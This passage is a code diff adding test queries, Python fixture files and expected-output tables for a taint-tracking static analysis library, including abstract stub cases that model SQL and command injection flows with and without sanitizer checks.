| Taint paper | Attribute() | +| rockpaperscissors.py:31 | x_2 | rockpaperscissors.py:29 | Taint scissors | SCISSORS | +| rockpaperscissors.py:32 | y_1 | rockpaperscissors.py:30 | Taint paper | Attribute() | +| sanitizer.py:3 | arg_0 | sanitizer.py:3 | Taint Command injection | arg | +| sanitizer.py:3 | arg_0 | sanitizer.py:3 | Taint SQL injection | arg | +| sanitizer.py:5 | arg_0 | sanitizer.py:5 | Taint Command injection | arg | +| sanitizer.py:5 | arg_0 | sanitizer.py:5 | Taint SQL injection | arg | +| sanitizer.py:8 | x_6 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:8 | x_6 | sanitizer.py:9 | Taint SQL injection | user_input() | +| sanitizer.py:9 | x_0 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:9 | x_0 | sanitizer.py:9 | Taint SQL injection | user_input() | +| sanitizer.py:10 | x_1 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:10 | x_1 | sanitizer.py:9 | Taint SQL injection | user_input() | +| sanitizer.py:11 | x_2 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:11 | x_3 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:13 | x_4 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:13 | x_4 | sanitizer.py:9 | Taint SQL injection | user_input() | +| sanitizer.py:13 | x_5 | sanitizer.py:9 | Taint Command injection | user_input() | +| sanitizer.py:13 | x_5 | sanitizer.py:9 | Taint SQL injection | user_input() | +| sanitizer.py:15 | x_6 | sanitizer.py:16 | Taint Command injection | user_input() | +| sanitizer.py:15 | x_6 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:16 | x_0 | sanitizer.py:16 | Taint Command injection | user_input() | +| sanitizer.py:16 | x_0 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:17 | x_1 | sanitizer.py:16 | Taint Command injection | user_input() | +| sanitizer.py:17 | x_1 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:18 | x_2 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:18 | x_3 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:20 | x_4 | sanitizer.py:16 | Taint Command injection | user_input() | +| sanitizer.py:20 | x_4 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:20 | x_5 | sanitizer.py:16 | Taint Command injection | user_input() | +| sanitizer.py:20 | x_5 | sanitizer.py:16 | Taint SQL injection | user_input() | +| sanitizer.py:23 | x_6 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:23 | x_6 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:24 | x_0 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:24 | x_0 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:25 | x_1 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:25 | x_1 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:26 | x_2 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:26 | x_2 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:26 | x_3 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:26 | x_3 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:28 | x_4 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:28 | x_4 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:28 | x_5 | sanitizer.py:24 | Taint Command injection | user_input() | +| sanitizer.py:28 | x_5 | sanitizer.py:24 | Taint SQL injection | user_input() | +| sanitizer.py:30 | x_6 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:30 | x_6 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:31 | x_0 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:31 | x_0 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:32 | x_1 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:32 | x_1 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:33 | x_2 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:33 | x_2 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:33 | x_3 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:33 | x_3 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:35 | x_4 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:35 | x_4 | sanitizer.py:31 | Taint SQL injection | user_input() | +| sanitizer.py:35 | x_5 | sanitizer.py:31 | Taint Command injection | user_input() | +| sanitizer.py:35 | x_5 | sanitizer.py:31 | Taint SQL injection | user_input() | +| test.py:6 | s_0 | test.py:6 | Taint simple.test | SOURCE | +| test.py:7 | s_1 | test.py:6 | Taint simple.test | SOURCE | +| test.py:12 | arg_0 | test.py:12 | Taint simple.test | arg | +| test.py:13 | arg_1 | test.py:12 | Taint simple.test | arg | +| test.py:16 | t_0 | test.py:16 | Taint simple.test | source() | +| test.py:17 | t_1 | test.py:16 | Taint simple.test | source() | +| test.py:20 | t_0 | test.py:20 | Taint simple.test | SOURCE | +| test.py:21 | t_1 | test.py:20 | Taint simple.test | SOURCE | +| test.py:24 | t_0 | test.py:24 | Taint simple.test | source() | +| test.py:25 | t_1 | test.py:24 | Taint simple.test | source() | +| test.py:31 | t_2 | test.py:31 | Taint simple.test | SOURCE | +| test.py:37 | t_0 | test.py:37 | Taint simple.test | SOURCE | +| test.py:41 | t_1 | test.py:37 | Taint simple.test | SOURCE | +| test.py:46 | arg_0 | test.py:46 | Taint simple.test | arg | +| test.py:47 | arg_1 | test.py:46 | Taint simple.test | arg | +| test.py:49 | arg_0 | test.py:49 | Taint simple.test | arg | +| test.py:49 | arg_2 | test.py:49 | Taint simple.test | arg | +| test.py:51 | arg_1 | test.py:49 | Taint simple.test | arg | +| test.py:54 | t_0 | test.py:54 | Taint simple.test | source2() | +| test.py:55 | t_1 | test.py:54 | Taint simple.test | source2() | +| test.py:62 | t_1 | test.py:62 | Taint simple.test | SOURCE | +| test.py:63 | t_2 | test.py:62 | Taint simple.test | SOURCE | +| test.py:67 | t_0 | test.py:67 | Taint simple.test | SOURCE | +| test.py:70 | t_2 | test.py:67 | Taint simple.test | SOURCE | +| test.py:72 | arg_0 | test.py:72 | Attribute 'x' taint simple.test | arg | +| test.py:72 | arg_0 | test.py:72 | Taint basic.custom | arg | +| test.py:72 | arg_0 | test.py:72 | Taint simple.test | arg | +| test.py:76 | t_0 | test.py:76 | Taint simple.test | SOURCE | +| test.py:77 | t_1 | test.py:77 | Taint simple.test | hub() | +| test.py:78 | t_2 | test.py:77 | Taint simple.test | hub() | +| test.py:85 | module_0 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:87 | module_1 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:88 | t_0 | test.py:88 | Taint simple.test | Attribute | +| test.py:89 | t_1 | test.py:88 | Taint simple.test | Attribute | +| test.py:91 | module_2 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:95 | module_3 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:99 | module_4 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:100 | t_0 | test.py:100 | Taint simple.test | Attribute() | +| test.py:101 | t_1 | test.py:100 | Taint simple.test | Attribute() | +| test.py:105 | arg_0 | test.py:105 | Attribute 'x' taint simple.test | arg | +| test.py:108 | module_5 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:110 | t_1 | test.py:110 | Attribute 'x' taint simple.test | t | +| test.py:113 | module_6 | test.py:85 | Attribute 'dangerous' taint simple.test | ImportExpr | +| test.py:115 | t_1 | test.py:115 | Attribute 'x' taint simple.test | t | +| test.py:116 | t_2 | test.py:116 | Attribute 'x' taint simple.test | hub() | +| test.py:117 | t_3 | test.py:116 | Attribute 'x' taint simple.test | hub() | +| test.py:120 | t_0 | test.py:120 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:121 | t_1 | test.py:121 | Taint basic.custom | hub() | +| test.py:122 | t_2 | test.py:121 | Taint basic.custom | hub() | +| test.py:126 | t_0 | test.py:126 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:128 | t_2 | test.py:128 | Taint simple.test | SOURCE | +| test.py:130 | t_1 | test.py:126 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:132 | t_3 | test.py:128 | Taint simple.test | SOURCE | +| test.py:136 | t_0 | test.py:136 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:138 | t_2 | test.py:138 | Taint simple.test | SOURCE | +| test.py:140 | t_3 | test.py:138 | Taint simple.test | SOURCE | +| test.py:142 | t_1 | test.py:136 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:146 | t_0 | test.py:146 | Taint basic.custom | CUSTOM_SOURCE | +| test.py:148 | t_3 | test.py:148 | Taint simple.test | SOURCE | +| test.py:149 | t_1 | test.py:149 | Taint basic.custom | TAINT_FROM_ARG() | +| test.py:151 | t_2 | test.py:149 | Taint basic.custom | TAINT_FROM_ARG() | +| test.py:155 | unsafe_0 | test.py:155 | Taint simple.test | ImportMember | +| test.py:156 | unsafe_1 | test.py:155 | Taint simple.test | ImportMember | +| test.py:159 | t_0 | test.py:159 | Taint simple.test | SOURCE | +| test.py:160 | t_1 | test.py:159 | Taint simple.test | SOURCE | +| test.py:163 | s_0 | test.py:163 | Taint simple.test | SOURCE | +| test.py:168 | l_0 | test.py:168 | Taint [simple.test] | List | +| test.py:169 | d_0 | test.py:169 | Taint {simple.test} | Dict | +| test.py:170 | l_1 | test.py:168 | Taint [simple.test] | List | +| test.py:170 | x_1 | test.py:170 | Taint [simple.test] | l | +| test.py:171 | d_1 | test.py:169 | Taint {simple.test} | Dict | +| test.py:171 | y_1 | test.py:171 | Taint {simple.test} | d | +| test.py:174 | l2_0 | test.py:174 | Taint [simple.test] | list() | +| test.py:174 | l_2 | test.py:168 | Taint [simple.test] | List | +| test.py:175 | d2_0 | test.py:175 | Taint {simple.test} | dict() | +| test.py:175 | d_2 | test.py:169 | Taint {simple.test} | Dict | diff --git a/python/ql/test/library-tests/taint/general/TestVar.ql b/python/ql/test/library-tests/taint/general/TestVar.ql new file mode 100644 index 00000000000..93a90e7bd76 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestVar.ql @@ -0,0 +1,9 @@ +import python +import semmle.python.security.TaintTest +import TaintLib + + +from EssaVariable var, TaintedNode n +where TaintFlowTest::tainted_var(var, _, n) +select + var.getDefinition().getLocation().toString(), var.getRepresentation(), n.getLocation().toString(), n.getTrackedValue(), n.getNode().getNode().toString() diff --git a/python/ql/test/library-tests/taint/general/carrier.py b/python/ql/test/library-tests/taint/general/carrier.py new file mode 100644 index 00000000000..10e70e41a93 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/carrier.py @@ -0,0 +1,35 @@ + +class ImplicitCarrier(object): + + def __init__(self, arg): + self.attr = arg + + def set_attr(self, arg): + self.attr = arg + + def get_attr(self): + return self.attr + +def hub(arg): + return arg + +def test1(): + c = ImplicitCarrier(SOURCE) + SINK(c.attr) + +def test2(): + c = TAINT_CARRIER_SOURCE + SINK(c.get_taint()) + +def test3(): + c = hub(ImplicitCarrier(SOURCE)) + SINK(c.get_attr()) + +def test4(): + c = hub(TAINT_CARRIER_SOURCE) + SINK(c.get_taint()) + +def test5(): + c = ImplicitCarrier(TAINT_CARRIER_SOURCE) + x = c.attr + SINK(x.get_taint()) diff --git a/python/ql/test/library-tests/taint/general/deep.py b/python/ql/test/library-tests/taint/general/deep.py new file mode 100644 index 00000000000..022cf403f7a --- /dev/null +++ b/python/ql/test/library-tests/taint/general/deep.py @@ -0,0 +1,24 @@ + +def f1(arg): + return arg + +def f2(arg): + return f1(arg) + +def f3(arg): + return f2(arg) + +def f4(arg): + return f3(arg) + +def f5(arg): + return f4(arg) + +def f6(arg): + return f5(arg) + +x = f6(SOURCE) + +x + + diff --git a/python/ql/test/library-tests/taint/general/module.py b/python/ql/test/library-tests/taint/general/module.py new file mode 100644 index 00000000000..437ef3bb239 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/module.py @@ -0,0 +1,11 @@ + + +dangerous = SOURCE +safe = "safe" + +def dangerous_func(): + return SOURCE + + +safe2 = SOURCE +safe2 = "safe" diff --git a/python/ql/test/library-tests/taint/general/rockpaperscissors.py b/python/ql/test/library-tests/taint/general/rockpaperscissors.py new file mode 100644 index 00000000000..8d73e090e33 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/rockpaperscissors.py @@ -0,0 +1,32 @@ + + +def rock(arg): + "SCISSORS are vulnerable" + +def paper(arg): + "ROCK is vulnerable" + +def scissors(arg): + "PAPER is vulnerable" + +def test1(): + rock(SCISSORS) + +def test2(): + paper(ROCK) + +def test3(): + x = ROCK + y = x.prev() #scissors + scissors(y) + +def test4(): + x = ROCK + y = x.prev().prev() # paper + scissors(y) + +def test5(): + x = SCISSORS + y = x.prev() # paper + paper(x) + paper(y) diff --git a/python/ql/test/library-tests/taint/general/sanitizer.py b/python/ql/test/library-tests/taint/general/sanitizer.py new file mode 100644 index 00000000000..9238f66fb32 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/sanitizer.py @@ -0,0 +1,36 @@ + +#Sanitizer functions +def isEscapedSql(arg): pass + +def isValidCommand(arg): pass + + +def sql_inject1(): + x = user_input() + if isEscapedSql(x): + sql_query(x) # Safe + else: + sql_query(x) # DANGEROUS + +def command_inject1(): + x = user_input() + if isValidCommand(x): + os_command(x) # Safe + else: + os_command(x) # DANGEROUS + + +def sql_inject2(): + x = user_input() + if notASanitizer(x): + sql_query(x) # DANGEROUS + else: + sql_query(x) # DANGEROUS + +def command_inject2(): + x = user_input() + if notASanitizer(x): + os_command(x) # DANGEROUS + else: + os_command(x) # DANGEROUS + diff --git a/python/ql/test/library-tests/taint/general/test.py b/python/ql/test/library-tests/taint/general/test.py new file mode 100644 index 00000000000..5a6fc1e2900 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/test.py @@ -0,0 +1,175 @@ + +def test1(): + SINK(SOURCE) + +def test2(): + s = SOURCE + SINK(s) + +def source(): + return SOURCE + +def sink(arg): + SINK(arg) + +def test3(): + t = source() + SINK(t) + +def test4(): + t = SOURCE + sink(t) + +def test5(): + t = source() + sink(t) + +def test6(cond): + if cond: + t = "Safe" + else: + t = SOURCE + if cond: + SINK(t) + +def test7(cond): + if cond: + t = SOURCE + else: + t = "Safe" + if cond: + SINK(t) + +def source2(arg): + return source(arg) + +def sink2(arg): + sink(arg) + +def sink3(cond, arg): + if cond: + sink(arg) + +def test8(cond): + t = source2() + sink2(t) + +#False positive +def test9(cond): + if cond: + t = "Safe" + else: + t = SOURCE + sink3(cond, t) + +def test10(cond): + if cond: + t = SOURCE + else: + t = "Safe" + sink3(cond, t) + +def hub(arg): + return arg + +def test11(): + t = SOURCE + t = hub(t) + SINK(t) + +def test12(): + t = "safe" + t = hub(t) + SINK(t) + +import module + +def test13(): + t = module.dangerous + SINK(t) + +def test14(): + t = module.safe + SINK(t) + +def test15(): + t = module.safe2 + SINK(t) + +def test16(): + t = module.dangerous_func() + SINK(t) + +class C(object): pass + +def x_sink(arg): + SINK(arg.x) + +def test17(): + t = C() + t.x = module.dangerous + SINK(t.x) + +def test18(): + t = C() + t.x = module.dangerous + t = hub(t) + x_sink(t) + +def test19(): + t = CUSTOM_SOURCE + t = hub(TAINT_FROM_ARG(t)) + CUSTOM_SINK(t) + +def test20(cond): + if cond: + t = CUSTOM_SOURCE + else: + t = SOURCE + if cond: + CUSTOM_SINK(t) + else: + SINK(t) + +def test21(cond): + if cond: + t = CUSTOM_SOURCE + else: + t = SOURCE + if not cond: + CUSTOM_SINK(t) + else: + SINK(t) + +def test22(cond): + if cond: + t = CUSTOM_SOURCE + else: + t = SOURCE + t = TAINT_FROM_ARG(t) + if cond: + CUSTOM_SINK(t) + else: + SINK(t) + +from module import dangerous as unsafe +SINK(unsafe) + +def test23(): + with SOURCE as t: + SINK(t) + +def test24(): + s = SOURCE + SANITIZE(s) + SINK(s) + +def test_update_extend(x, y): + l = [SOURCE] + d = {"key" : SOURCE} + x.extend(l) + y.update(d) + SINK(x[0]) + SINK(y["key"]) + l2 = list(l) + d2 = dict(d) diff --git a/python/ql/test/library-tests/taint/invalid/NoSink.expected b/python/ql/test/library-tests/taint/invalid/NoSink.expected new file mode 100644 index 00000000000..566c01caa9b --- /dev/null +++ b/python/ql/test/library-tests/taint/invalid/NoSink.expected @@ -0,0 +1 @@ +| No sinks defined | This message wouldn't appear if the query were complete $@ | No sinks defined | nor this | diff --git a/python/ql/test/library-tests/taint/invalid/NoSink.ql b/python/ql/test/library-tests/taint/invalid/NoSink.ql new file mode 100644 index 00000000000..822de8a622a --- /dev/null +++ b/python/ql/test/library-tests/taint/invalid/NoSink.ql @@ -0,0 +1,25 @@ + +import python + +import semmle.python.security.TaintTracking + +/* Sources */ + +class AnySource extends TaintSource { + + AnySource() { + this instanceof ControlFlowNode + } + + override predicate isSourceOf(TaintKind kind) { any() } + +} +/* Flow */ +import semmle.python.security.strings.Untrusted + +from TaintSource src, TaintSink sink +where src.flowsToSink(sink) + +select sink.toString(), "This message wouldn't appear if the query were complete $@", + src.toString(), "nor this" + diff --git a/python/ql/test/library-tests/taint/invalid/NoSource.expected b/python/ql/test/library-tests/taint/invalid/NoSource.expected new file mode 100644 index 00000000000..1d8515200e9 --- /dev/null +++ b/python/ql/test/library-tests/taint/invalid/NoSource.expected @@ -0,0 +1 @@ +| No sources defined | This message wouldn't appear if the query were complete $@ | No sources defined | nor this | diff --git a/python/ql/test/library-tests/taint/invalid/NoSource.ql b/python/ql/test/library-tests/taint/invalid/NoSource.ql new file mode 100644 index 00000000000..1b7f2067a08 --- /dev/null +++ b/python/ql/test/library-tests/taint/invalid/NoSource.ql @@ -0,0 +1,26 @@ + +import python + +import semmle.python.security.TaintTracking + +/* Flow */ +import semmle.python.security.strings.Untrusted + +/* Sinks */ + +class AnySink extends TaintSink{ + + AnySink() { + this instanceof ControlFlowNode + } + + override predicate sinks(TaintKind kind) { any() } + +} + +from TaintSource src, TaintSink sink +where src.flowsToSink(sink) + +select sink.toString(), "This message wouldn't appear if the query were complete $@", + src.toString(), "nor this" + diff --git a/python/ql/test/library-tests/taint/invalid/test.py b/python/ql/test/library-tests/taint/invalid/test.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/taint/strings/DistinctStringKinds.expected b/python/ql/test/library-tests/taint/strings/DistinctStringKinds.expected new file mode 100644 index 00000000000..684c12a3746 --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/DistinctStringKinds.expected @@ -0,0 +1,16 @@ +| Taint exception.info | test.py:54 | test.py:54:22:54:26 | taint | test.py:59 | +| Taint exception.info | test.py:55 | test.py:55:12:55:22 | func() | test.py:59 | +| Taint exception.info | test.py:55 | test.py:55:17:55:21 | taint | test.py:59 | +| Taint exception.info | test.py:58 | test.py:58:12:58:33 | TAINTED_EXCEPTION_INFO | | +| Taint exception.info | test.py:59 | test.py:59:11:59:41 | cross_over() | | +| Taint exception.info | test.py:59 | test.py:59:37:59:40 | info | | +| Taint exception.info | test.py:61 | test.py:61:19:61:21 | arg | test.py:55 from test.py:59 | +| Taint exception.info | test.py:62 | test.py:62:12:62:14 | arg | test.py:55 from test.py:59 | +| Taint externally controlled string | test.py:54 | test.py:54:22:54:26 | taint | test.py:66 | +| Taint externally controlled string | test.py:55 | test.py:55:12:55:22 | func() | test.py:66 | +| Taint externally controlled string | test.py:55 | test.py:55:17:55:21 | taint | test.py:66 | +| Taint externally controlled string | test.py:61 | test.py:61:19:61:21 | arg | test.py:55 from test.py:66 | +| Taint externally controlled string | test.py:62 | test.py:62:12:62:14 | arg | test.py:55 from test.py:66 | +| Taint externally controlled string | test.py:65 | test.py:65:11:65:33 | TAINTED_EXTERNAL_STRING | | +| Taint externally controlled string | test.py:66 | test.py:66:11:66:41 | cross_over() | | +| Taint externally controlled string | test.py:66 | test.py:66:38:66:40 | ext | | diff --git a/python/ql/test/library-tests/taint/strings/DistinctStringKinds.ql b/python/ql/test/library-tests/taint/strings/DistinctStringKinds.ql new file mode 100644 index 00000000000..4165154b4aa --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/DistinctStringKinds.ql @@ -0,0 +1,39 @@ +import python +import semmle.python.security.TaintTracking + +import semmle.python.security.Exceptions +import semmle.python.security.strings.Untrusted + + +class ExceptionInfoSource extends TaintSource { + + ExceptionInfoSource() { this.(NameNode).getId() = "TAINTED_EXCEPTION_INFO" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExceptionInfo + } + + override string toString() { + result = "Exception info source" + } + +} + +class ExternalStringSource extends TaintSource { + + ExternalStringSource() { this.(NameNode).getId() = "TAINTED_EXTERNAL_STRING" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "Untrusted string source" + } + +} + +from TaintedNode n +where n.getLocation().getFile().getName().matches("%test.py") +select n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode(), n.getContext() + diff --git a/python/ql/test/library-tests/taint/strings/Taint.qll b/python/ql/test/library-tests/taint/strings/Taint.qll new file mode 100644 index 00000000000..d39487b5ad3 --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/Taint.qll @@ -0,0 +1,47 @@ +import python +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +class SimpleSource extends TaintSource { + + SimpleSource() { this.(NameNode).getId() = "TAINTED" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringKind + } + + string toString() { + result = "taint source" + } + +} + +class ListSource extends TaintSource { + + ListSource() { this.(NameNode).getId() = "TAINTED_LIST" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringSequenceKind + } + + string toString() { + result = "list taint source" + } + +} + +class DictSource extends TaintSource { + + DictSource() { this.(NameNode).getId() = "TAINTED_DICT" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringDictKind + } + + string toString() { + result = "dict taint source" + } + +} + diff --git a/python/ql/test/library-tests/taint/strings/TestNode.expected b/python/ql/test/library-tests/taint/strings/TestNode.expected new file mode 100644 index 00000000000..033bdf81d17 --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/TestNode.expected @@ -0,0 +1,59 @@ +| Taint [externally controlled string] | test.py:12 | test.py:12:20:12:31 | TAINTED_LIST | | +| Taint [externally controlled string] | test.py:13 | test.py:13:9:13:20 | tainted_list | | +| Taint [externally controlled string] | test.py:14 | test.py:14:9:14:20 | tainted_list | | +| Taint [externally controlled string] | test.py:15 | test.py:15:9:15:20 | tainted_list | | +| Taint [externally controlled string] | test.py:15 | test.py:15:9:15:25 | Subscript | | +| Taint [externally controlled string] | test.py:16 | test.py:16:9:16:20 | tainted_list | | +| Taint [externally controlled string] | test.py:16 | test.py:16:9:16:27 | Attribute() | | +| Taint externally controlled string | test.py:5 | test.py:5:22:5:28 | TAINTED | | +| Taint externally controlled string | test.py:6 | test.py:6:31:6:44 | tainted_string | | +| Taint externally controlled string | test.py:7 | test.py:7:9:7:25 | Subscript | | +| Taint externally controlled string | test.py:8 | test.py:8:9:8:9 | a | | +| Taint externally controlled string | test.py:8 | test.py:8:9:8:18 | Attribute() | | +| Taint externally controlled string | test.py:9 | test.py:9:9:9:9 | b | | +| Taint externally controlled string | test.py:9 | test.py:9:9:9:14 | Subscript | | +| Taint externally controlled string | test.py:13 | test.py:13:9:13:23 | Subscript | | +| Taint externally controlled string | test.py:14 | test.py:14:9:14:23 | Subscript | | +| Taint externally controlled string | test.py:20 | test.py:20:9:20:28 | Subscript | | +| Taint externally controlled string | test.py:21 | test.py:21:9:21:23 | Subscript | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | +| Taint externally controlled string | test.py:26 | test.py:26:9:26:22 | tainted_string | | +| Taint externally controlled string | test.py:26 | test.py:26:9:26:31 | Attribute() | | +| Taint externally controlled string | test.py:27 | test.py:27:9:27:22 | tainted_string | | +| Taint externally controlled string | test.py:27 | test.py:27:9:27:29 | Attribute() | | +| Taint externally controlled string | test.py:28 | test.py:28:9:28:22 | tainted_string | | +| Taint externally controlled string | test.py:28 | test.py:28:9:28:25 | Subscript | | +| Taint externally controlled string | test.py:29 | test.py:29:9:29:22 | tainted_string | | +| Taint externally controlled string | test.py:29 | test.py:29:9:29:27 | Subscript | | +| Taint externally controlled string | test.py:30 | test.py:30:9:30:32 | reversed() | | +| Taint externally controlled string | test.py:30 | test.py:30:18:30:31 | tainted_string | | +| Taint externally controlled string | test.py:31 | test.py:31:9:31:28 | copy() | | +| Taint externally controlled string | test.py:31 | test.py:31:14:31:27 | tainted_string | | +| Taint externally controlled string | test.py:32 | test.py:32:9:32:22 | tainted_string | | +| Taint externally controlled string | test.py:32 | test.py:32:9:32:30 | Attribute() | | +| Taint externally controlled string | test.py:35 | test.py:35:22:35:28 | TAINTED | | +| Taint externally controlled string | test.py:36 | test.py:36:8:36:21 | tainted_string | | +| Taint externally controlled string | test.py:39 | test.py:39:23:39:36 | tainted_string | | +| Taint externally controlled string | test.py:42 | test.py:42:22:42:28 | TAINTED | | +| Taint externally controlled string | test.py:43 | test.py:43:8:43:21 | tainted_string | | +| Taint externally controlled string | test.py:43 | test.py:43:34:43:47 | tainted_string | | +| Taint externally controlled string | test.py:46 | test.py:46:23:46:36 | tainted_string | | +| Taint externally controlled string | test.py:49 | test.py:49:22:49:28 | TAINTED | | +| Taint externally controlled string | test.py:50 | test.py:50:9:50:27 | str() | | +| Taint externally controlled string | test.py:50 | test.py:50:13:50:26 | tainted_string | | +| Taint externally controlled string | test.py:51 | test.py:51:9:51:29 | bytes() | | +| Taint externally controlled string | test.py:51 | test.py:51:15:51:28 | tainted_string | | +| Taint externally controlled string | test.py:52 | test.py:52:9:52:46 | bytes() | | +| Taint externally controlled string | test.py:52 | test.py:52:15:52:28 | tainted_string | | +| Taint json[externally controlled string] | test.py:6 | test.py:6:20:6:45 | Attribute() | | +| Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:20 | tainted_json | | +| Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:25 | Subscript | | +| Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:9 | a | | +| Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:18 | Attribute() | | +| Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:9 | b | | +| Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:14 | Subscript | | +| Taint {externally controlled string} | test.py:19 | test.py:19:20:19:31 | TAINTED_DICT | | +| Taint {externally controlled string} | test.py:20 | test.py:20:9:20:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:21 | test.py:21:9:21:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:22 | test.py:22:9:22:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:22 | test.py:22:9:22:27 | Attribute() | | diff --git a/python/ql/test/library-tests/taint/strings/TestNode.ql b/python/ql/test/library-tests/taint/strings/TestNode.ql new file mode 100644 index 00000000000..1210189a6a0 --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/TestNode.ql @@ -0,0 +1,9 @@ +import python +import semmle.python.security.TaintTracking +import Taint + + +from TaintedNode n +where n.getLocation().getFile().getName().matches("%test.py") +select n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode(), n.getContext() + diff --git a/python/ql/test/library-tests/taint/strings/TestStep.expected b/python/ql/test/library-tests/taint/strings/TestStep.expected new file mode 100644 index 00000000000..87ca159c2af --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/TestStep.expected @@ -0,0 +1,52 @@ +| Taint [externally controlled string] | test.py:12 | test.py:12:20:12:31 | TAINTED_LIST | | --> | Taint [externally controlled string] | test.py:13 | test.py:13:9:13:20 | tainted_list | | +| Taint [externally controlled string] | test.py:12 | test.py:12:20:12:31 | TAINTED_LIST | | --> | Taint [externally controlled string] | test.py:14 | test.py:14:9:14:20 | tainted_list | | +| Taint [externally controlled string] | test.py:12 | test.py:12:20:12:31 | TAINTED_LIST | | --> | Taint [externally controlled string] | test.py:15 | test.py:15:9:15:20 | tainted_list | | +| Taint [externally controlled string] | test.py:12 | test.py:12:20:12:31 | TAINTED_LIST | | --> | Taint [externally controlled string] | test.py:16 | test.py:16:9:16:20 | tainted_list | | +| Taint [externally controlled string] | test.py:13 | test.py:13:9:13:20 | tainted_list | | --> | Taint externally controlled string | test.py:13 | test.py:13:9:13:23 | Subscript | | +| Taint [externally controlled string] | test.py:14 | test.py:14:9:14:20 | tainted_list | | --> | Taint externally controlled string | test.py:14 | test.py:14:9:14:23 | Subscript | | +| Taint [externally controlled string] | test.py:15 | test.py:15:9:15:20 | tainted_list | | --> | Taint [externally controlled string] | test.py:15 | test.py:15:9:15:25 | Subscript | | +| Taint [externally controlled string] | test.py:16 | test.py:16:9:16:20 | tainted_list | | --> | Taint [externally controlled string] | test.py:16 | test.py:16:9:16:27 | Attribute() | | +| Taint externally controlled string | test.py:5 | test.py:5:22:5:28 | TAINTED | | --> | Taint externally controlled string | test.py:6 | test.py:6:31:6:44 | tainted_string | | +| Taint externally controlled string | test.py:6 | test.py:6:31:6:44 | tainted_string | | --> | Taint json[externally controlled string] | test.py:6 | test.py:6:20:6:45 | Attribute() | | +| Taint externally 